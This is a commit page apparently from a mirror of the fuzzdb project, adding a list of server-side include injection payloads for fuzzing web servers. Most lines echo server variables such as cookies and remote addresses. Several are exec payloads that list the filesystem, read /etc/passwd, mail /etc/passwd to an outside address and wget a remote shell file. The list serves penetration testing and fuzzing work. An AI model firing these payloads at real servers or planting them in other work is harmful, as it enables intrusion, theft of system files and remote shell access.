Mirrors/fuzzdb
2
0
Fork 0
mirror of https://github.com/fuzzdb-project/fuzzdb.git synced 2024-11-26 21:10:18 +00:00
Code Issues Projects Releases Packages Wiki Activity

Update server-side-includes-generic.fuzz.txt

Browse source
This commit is contained in:
Adam Muntner 2016-03-09 19:00:51 -05:00
parent 83f7c51f01
commit 8ae928dc58
1 changed files with 74 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

74
attack/server-side-include/server-side-includes-generic.fuzz.txt
View file

@ -1,4 +1,78 @@
<!--#config errmsg="File not found, informs users and password"-->
<!--#config timefmt="A %B %d %Y %r"-->
<!--#echo var="auth_type" -->
<!--#echo var="content_length" -->
<!--#echo var="content_type" -->
<!--#echo var="date_gmt" -->
<!--#echo var="date_local" -->
<!--#echo var="DATE_LOCAL" -->
<!--#echo var="document_name" -->
<!--#echo var="DOCUMENT_NAME" -->
<!--#echo var="document_root" -->
<!--#echo var="document_uri" -->
<!--#echo var="DOCUMENT_URI" -->
<!--#echo var="forwarded" -->
<!--#echo var="from" -->
<!--#echo var="gateway_interface" -->
<!--#echo var="http_accept" -->
<!--#echo var="http_accept_charset" -->
<!--#echo var="http_accept_encoding" -->
<!--#echo var="http_accept_language" -->
<!--#echo var="http_client_ip" -->
<!--#echo var="http_connection" -->
<!--#echo var="http_cookie" -->
<!--#echo var="http_form" -->
<!--#echo var="http_host" -->
<!--#echo var="http_referer" -->
<!--#echo var="http_ua_cpu" -->
<!--#echo var="http_ua_os" -->
<!--#echo var="http_user_agent" -->
<!--#echo var="last_modified" -->
<!--#echo var="netsite_root" -->
<!--#echo var="page_count" -->
<!--#echo var="path" -->
<!--#echo var="path_info" -->
<!--#echo var="path_info_translated" -->
<!--#echo var="path_translated" -->
<!--#echo var="query_string" -->
<!--#echo var="query_string_unescaped" -->
<!--#echo var="remote_addr" -->
<!--#echo var="remote_host" -->
<!--#echo var="remote_ident" -->
<!--#echo var="remote_port" -->
<!--#echo var="remote_user" -->
<!--#echo var="request_method" -->
<!--#echo var="request_uri" -->
<!--#echo var="script_filename" -->
<!--#echo var="script_name" -->
<!--#echo var="script_uri" -->
<!--#echo var="script_url" -->
<!--#echo var="server_addr" -->
<!--#echo var="server_admin" -->
<!--#echo var="server_name -->
<!--#echo var="server_port" -->
<!--#echo var="server_protocol" -->
<!--#echo var="server_software" -->
<!--#echo var="site_htmlroot" -->
<!--#echo var="total_hits" -->
<!--#echo var="tz" -->
<!--#echo var="unique_id" -->
<!--#echo var="user_name" -->
<!--#exec cmd="/bin/ls /" -->
<!--#exec cmd="/bin/ls /" --><br/>
<!--#exec cmd="cat /etc/passwd" --><br/>
<!--#exec cmd="cd C:\WINDOWS\System32">
<!--#exec cmd="dir" -->
<!--#exec cmd="find / -name *.* -print" --><br/>
<!--#exec cmd="ls" -->
<!--#exec cmd="mail email@dom.tld <mailto:email@dom.tld> < cat /etc/passwd" --><br/>
<!--#exec cmd="wget http://website.com/dir/shell.txt" -->
<!--#exec cmd="whoami"-->
<!--#flastmod virtual="echo.html" -->
<!--#fsize file="ssi.shtml" -->
<!--#include file=?UUUUUUUU...UU?-->
<!--#printenv -->
<pre><!--#echo var="DATE_LOCAL" --> </pre>
<pre><!--#exec cmd="dir" --></pre>
<pre><!--#exec cmd="ls" --></pre>
<pre><!--#exec cmd="whoami"--></pre>